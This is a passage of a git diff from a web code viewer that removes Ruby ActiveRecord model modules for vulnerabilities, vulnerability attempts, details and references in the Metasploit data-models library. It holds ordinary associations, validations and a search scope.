validates :password_confirmation, :password_is_strong => true
|
||||
|
||||
|
||||
serialized_prefs_attr_accessor :nexpose_host, :nexpose_port, :nexpose_user, :nexpose_pass, :nexpose_creds_type, :nexpose_creds_user, :nexpose_creds_pass
|
||||
serialized_prefs_attr_accessor :http_proxy_host, :http_proxy_port, :http_proxy_user, :http_proxy_pass
|
||||
serialized_prefs_attr_accessor :time_zone, :session_key
|
||||
serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields)
|
||||
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,38 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Vuln
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :vuln_count
|
||||
belongs_to :service, :class_name => "Mdm::Service", :foreign_key => :service_id
|
||||
has_many :vuln_details, :dependent => :destroy, :class_name => "Mdm::VulnDetail"
|
||||
has_many :vuln_attempts, :dependent => :destroy, :class_name => "Mdm::VulnAttempt"
|
||||
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
|
||||
has_many :refs, :through => :vulns_refs, :class_name => "Mdm::Ref"
|
||||
|
||||
|
||||
validates :name, :presence => true
|
||||
validates_associated :refs
|
||||
|
||||
after_update :save_refs
|
||||
|
||||
scope :search, lambda { |*args|
|
||||
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
]).
|
||||
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
|
||||
}
|
||||
|
||||
private
|
||||
|
||||
def save_refs
|
||||
refs.each { |ref| ref.save(:validate => false) }
|
||||
end
|
||||
|
||||
def before_destroy
|
||||
Mdm::VulnRef.delete_all('vuln_id = ?', self.id)
|
||||
Mdm::VulnDetail.delete_all('vuln_id = ?', self.id)
|
||||
Mdm::VulnAttempt.delete_all('vuln_id = ?', self.id)
|
||||
end
|
||||
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::VulnAttempt
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_attempt_count
|
||||
validates :vuln_id, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::VulnDetail
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_detail_count
|
||||
validates :vuln_id, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,10 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::VulnRef
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
base.table_name = "vulns_refs"
|
||||
belongs_to :ref
|
||||
belongs_to :vuln
|
||||
}
|
||||
end
|
||||
end
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue